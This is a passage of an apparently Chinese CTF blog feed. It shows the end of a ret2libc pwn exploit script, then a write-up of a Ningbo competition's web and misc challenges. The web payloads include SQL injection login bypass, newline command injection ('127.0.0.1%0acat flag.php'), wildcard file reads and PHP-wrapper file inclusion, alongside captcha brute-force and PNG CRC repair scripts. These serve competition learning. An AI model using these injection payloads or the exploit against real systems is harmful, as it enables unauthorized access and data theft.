</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">d</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">LibcSearcher</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">,</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">off</span><span class="o">=</span><span class="n">d</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;puts&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">sys_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;system&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">bin_add</span><span class="o">=</span><span class="n">off</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">dump</span><span class="p">(</span><span class="s1">&#39;str_bin_sh&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">sys_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这里有个要注意的地方，做pwn题的时候由于环境不同，会发生本地通远程不通，远程通本地不通，甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题，我本地查找libc以及在线查找libc显示6个libc库，而且不能用，我一直以为是我没更新，折腾一晚上，各种版本的libc-database轮番下载安装，甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc，吐了，下次不给libc的题就是sb，对pwn新手极其不友好</p>
<p><img
  src="/077813/swpu_whitegive_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="788" height="614"
/>
</p>
<p>到这里吧，以后有机会更新的话再更新，还要恶补工控CTF，工控的流量分析，图纸，各种通信协议太难了</p>
]]></content:encoded><category>反序列化</category><category>伪协议</category><category>SQL注入</category><category>Pwn</category></item><item><title>第四届宁波网安市赛初赛</title><link>https://h4cker.zip/43dade/</link><pubDate>Sun, 23 May 2021 18:03:05 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/43dade/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>由于赛后官方不给wp（绿盟一向如此），交流群也没有得到其他题解，赛后就根据自己的wp来写了，wp由队友及我共同完成。比赛共解答10题，Web 5道，Misc 2道，Crypto 3道，wp只有一部分，缺少的部分有机会再补上吧</p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<p>赛后靶机关了，没办法再次复现，只能用当时编写的wp配图，好像源码l都换成了1</p>
<h3 id="简单的php">简单的php<a class="anchor" href="#简单的php">#</a></h3>
<p>对长度做了限制，这里代码观察后直接通配符即可</p>
<p>payload:<code>?1=cat fl*</code></p>
<p>这题环境崩过几次，据说因为共用一个环境还被人删了flag</p>
<h3 id="index">index<a class="anchor" href="#index">#</a></h3>
<p>扫描网站目录得到源码</p>
<p><img
  src="/43dade/nsctf4_web_2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="525" height="422"
/>
</p>
<p>$user和$pass存在注入点，user那里MD5加密就行</p>
<p>payload:<code>user='union select '21232f297a57a5a743894a0e4a801fc3'#&amp;pass=admin</code></p>
<h3 id="getflag">GetFlag<a class="anchor" href="#getflag">#</a></h3>
<p>验证码一直动，最离谱的是我CTRL+U里的验证码跟页面的不一样</p>
<p>使用脚本爆破出md5加密前的，提交得到php页面，自己脚本太烂了，放一下大佬的</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">multiprocessing.dummy</span> <span class="kn">import</span> <span class="n">Pool</span> <span class="k">as</span> <span class="n">ThreadPool</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># MD5截断数值已知 求原始数据</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 例子 substr(md5(captcha), 0, 6)=60b7ef</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">def</span> <span class="nf">md5</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>  <span class="c1"># 计算MD5字符串</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">keymd5</span> <span class="o">=</span> <span class="s1">&#39;8f5fb0&#39;</span>  <span class="c1"># 已知的md5截断值</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">md5start</span> <span class="o">=</span> <span class="mi">0</span>  <span class="c1"># 设置题目已知的截断位置</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">md5length</span> <span class="o">=</span> <span class="mi">6</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">def</span> <span class="nf">findmd5</span><span class="p">(</span><span class="n">sss</span><span class="p">):</span>  <span class="c1"># 输入范围 里面会进行md5测试</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="n">sss</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">start</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>  <span class="c1"># 开始位置</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">end</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>  <span class="c1"># 结束位置</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="c1"># print(md5(i)[md5start:md5length])</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="k">if</span> <span class="n">md5</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">0</span><span class="p">:</span><span class="mi">6</span><span class="p">]</span> <span class="o">==</span> <span class="n">keymd5</span><span class="p">:</span>  <span class="c1"># 拿到加密字符串</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="n">result</span> <span class="o">=</span> <span class="n">i</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>  <span class="c1"># 打印</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="nb">list</span> <span class="o">=</span> <span class="p">[]</span>  <span class="c1"># 参数列表</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>  <span class="c1"># 多线程的数字列表 开始与结尾</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="nb">list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">10000000</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s1">&#39;:&#39;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="mi">10000000</span> <span class="o">*</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)))</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="n">pool</span> <span class="o">=</span> <span class="n">ThreadPool</span><span class="p">()</span>  <span class="c1"># 多线程任务</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">pool</span><span class="o">.</span><span class="n">map</span><span class="p">(</span><span class="n">findmd5</span><span class="p">,</span> <span class="nb">list</span><span class="p">)</span>  <span class="c1"># 函数 与参数列表</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">pool</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">pool</span><span class="o">.</span><span class="n">join</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>进去也有套娃，绕过去就行，构造payload:<code>4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1%0acat+flag.php</code></p>
<p><img
  src="/43dade/nsctf4_web_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="285"
/>
</p>
<h3 id="helloworld">hello,world<a class="anchor" href="#helloworld">#</a></h3>
<p>扫出备份文件.index.php.swp以及/index.php/login/，进入查看源码</p>
<p><img
  src="/43dade/nsctf4_web_4_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="458" height="281"
/>
</p>
<p>文件包含，传入file=config.php试试</p>
<p><img
  src="/43dade/nsctf4_web_4_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="202"
/>
</p>
<p>test666=sss607</p>
<p>php伪协议直接出</p>
<p><img
  src="/43dade/nsctf4_web_4_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="207"
/>
</p>
<h3 id="文件管理网站">文件管理网站<a class="anchor" href="#文件管理网站">#</a></h3>
<p>扫出1.htaccess和lfi.php</p>
<p><img
  src="/43dade/nsctf4_web_5_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="419" height="311"
/>
</p>
<p>文件包含</p>
<p><img
  src="/43dade/nsctf4_web_5_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="431" height="315"
/>
</p>
<p>这里挂一波Mocha大佬的<a
  href="https://www.xiinnn.com/article/e453c498.html" rel="nofollow noopener noreferrer" target="_blank"
  >WEB wp<span style="user-select:none"> ↗</span></a
>
，写得比我这详细得多也更有参考意义</p>
<h2 id="misc">Misc<a class="anchor" href="#misc">#</a></h2>
<h3 id="美丽的小姐姐">美丽的小姐姐<a class="anchor" href="#美丽的小姐姐">#</a></h3>
<p><img
  src="/43dade/nsctf4_misc_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="302" height="20"
/>
</p>
<p>因此，判断图片的chunk[0]（也就是IHDR块）的数据跟crc32校验值不一致，被篡改了</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">misc</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;CRC-ERROR.png&#34;</span><span class="p">,</span><span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 爆破宽</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1024</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">	<span class="n">data</span> <span class="o">=</span> <span class="n">misc</span><span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">16</span><span class="p">]</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&gt;i&#39;</span><span class="p">,</span><span class="n">i</span><span class="p">)</span><span class="o">+</span> <span class="n">misc</span><span class="p">[</span><span class="mi">20</span><span class="p">:</span><span class="mi">29</span><span class="p">]</span>  <span class="c1">#IHDR数据</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">	<span class="n">crc32</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">	<span class="k">if</span> <span class="n">crc32</span> <span class="o">==</span> <span class="mh">0x5e687792</span><span class="p">:</span> <span class="c1">#IHDR块的crc32值</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;hex:&#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># 爆破高		</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1024</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">misc</span><span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">20</span><span class="p">]</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&gt;i&#39;</span><span class="p">,</span><span class="n">i</span><span class="p">)</span><span class="o">+</span> <span class="n">misc</span><span class="p">[</span><span class="mi">24</span><span class="p">:</span><span class="mi">29</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">crc32</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">if</span> <span class="n">crc32</span> <span class="o">==</span> <span class="mh">0x5e687792</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;hex:&#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">i</span><span class="p">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/43dade/nsctf4_misc_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="554" height="106"
/>
</p>
<p>改高度，即出flag</p>
<p><img
  src="/43dade/nsctf4_misc_3_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="553" height="58"
/>
</p>
<p><img
  src="/43dade/nsctf4_misc_3_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="373" height="97"
/>
</p>
<h3 id="音乐和乐谱">音乐和乐谱<a class="anchor" href="#音乐和乐谱">#</a></h3>
<p>十六进制打开,发现末尾给了密码</p>
